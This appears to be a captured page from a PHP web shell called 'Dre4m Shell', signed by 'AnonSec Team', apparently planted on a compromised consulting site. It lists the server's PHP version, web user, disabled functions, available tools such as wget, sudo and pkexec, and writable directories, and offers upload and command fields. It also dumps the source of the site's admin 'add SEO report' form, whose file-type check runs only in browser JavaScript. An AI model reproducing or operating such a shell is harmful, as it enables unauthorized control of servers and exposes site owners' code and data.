Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.147.28.162
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/admin/add-seo-report.php
<?php
ob_start();
session_start();
require_once('session-check.php');
require_once('include/db-config.php');
?>
<!DOCTYPE html>
<html>

<head>
	<TITLE>Joel Levitt, maintenance management, maintenance management consulting, tpms</TITLE>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
    <link href="css/style.css" type="text/css" rel="stylesheet">
</head>

<body bgcolor="#FFFFFF" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
    <form action="seo-report-action.php" method="post" enctype="multipart/form-data" id="uploadForm" name="uploadForm" onSubmit="return validateform();">
        <table width="100%" border="0" cellpadding="0" cellspacing="0" align="center">
            <?php include_once('include/include_header.php'); ?>
            <tr>
                <td width="100%" align="center">
                    <table border="0" cellpadding="0" cellspacing="0" width="1100" align="center" class="body_bg">
                        <tr>
                            <td colspan="3" style="height:9px;"></td>
                        </tr>
                        <tr>
                            <td style="width:9px;"></td>
                            <td class="content_bg" valign="top">
                                <table border="0" cellpadding="0" cellspacing="0" width="95%" align="center">
                                    <tr>
                                        <td style="height:40px;"></td>
                                    </tr>
                                    <tr>
                                        <td>
                                            <table border="0" cellpadding="0" cellspacing="0" class="normal_text">
                                                <tr>
                                                    <td class="mainhead" valign="top" colspan="2">ADD SEO REPORT</td>
                                                </tr>
                                                <tr>
                                                    <td style="height:20px;"></td>
                                                </tr>
                                                <tr>
                                                    <td class="textnormal" style="padding-left:20px; padding-right:10px;" valign="top" width="150">Month</td>
                                                    <td>
                                                        <select id="month" name="month" style="width:150px;">
                                                            <option value="January">January</option>
                                                            <option value="February">February</option>
                                                            <option value="March">March</option>
                                                            <option value="April">April</option>
                                                            <option value="May">May</option>
                                                            <option value="June">June</option>
                                                            <option value="July">July</option>
                                                            <option value="August">August</option>
                                                            <option value="September">September</option>
                                                            <option value="October">October</option>
                                                            <option value="November">November</option>
                                                            <option value="December">December</option>
                                                        </select>
                                                    </td>
                                                </tr>
                                                <tr>
                                                    <td style="height:20px;"></td>
                                                </tr>
                                                <tr>
                                                    <td class="textnormal" style="padding-left:20px; padding-right:10px;" valign="top" width="150">Year</td>
                                                    <td>
                                                        <select id="year" name="year" style="width:150px;">
                                                            <?php
                                                            $currentYear = date("Y");
                                                            for ($i = $currentYear; $i >= 2000; $i--) {
                                                                echo "<option value='$i'>$i</option>";
                                                            }
                                                            ?>
                                                        </select>
                                                    </td>
                                                </tr>
                                                <tr>
                                                    <td style="height:20px;"></td>
                                                </tr>
                                                <tr>
                                                    <td class="textnormal" style="padding-left:20px; padding-right:10px;" valign="top" width="150">Upload File</td>
                                                    <td>
                                                        <input type="file" id="file" name="file" style="width:400px;">
                                                    </td>
                                                </tr>
                                                <tr>
                                                    <td style="height:20px;"></td>
                                                </tr>
                                                <tr>
                                                    <td class="textnormal">&nbsp;</td>
                                                    <td>
                                                        <input type="submit" id="save" name="save" value="Submit" class="bttn">
                                                        &nbsp;<input type="button" id="back" name="back" value="Cancel" class="bttn2" onClick="javascript:history.back();">
                                                    </td>
                                                </tr>
                                                <tr>
                                                    <td><br><br></td>
                                                </tr>
                                            </table>
                                        </td>
                                    </tr>
                                </table>
                            </td>
                            <td style="width:9px;"></td>
                        </tr>
                        <tr>
                            <td colspan="3" style="height:9px;"></td>
                        </tr>
                    </table>
                </td>
            </tr>
            <?php include_once('include/include_footer.php'); ?>
        </table>
    </form>
</body>
<script>
	 function validateform() {
        const fileInput = document.getElementById("file");
        const filePath = fileInput.value;
        const allowedExtensions = /(\.pdf|\.docx|\.xls|\.xlsx)$/i;
        
        if (filePath === "") {
            alert("Please choose a file");
            fileInput.focus();
            return false;
        }
        
        if (!allowedExtensions.exec(filePath)) {
            alert("Invalid file type. Please upload a PDF, DOCX, XLS, or XLSX file.");
            fileInput.focus();
            fileInput.value = ""; 
            return false;
        }
        
        return true;
    }
</script>
</html>

Anon7 - 2022
AnonSec Team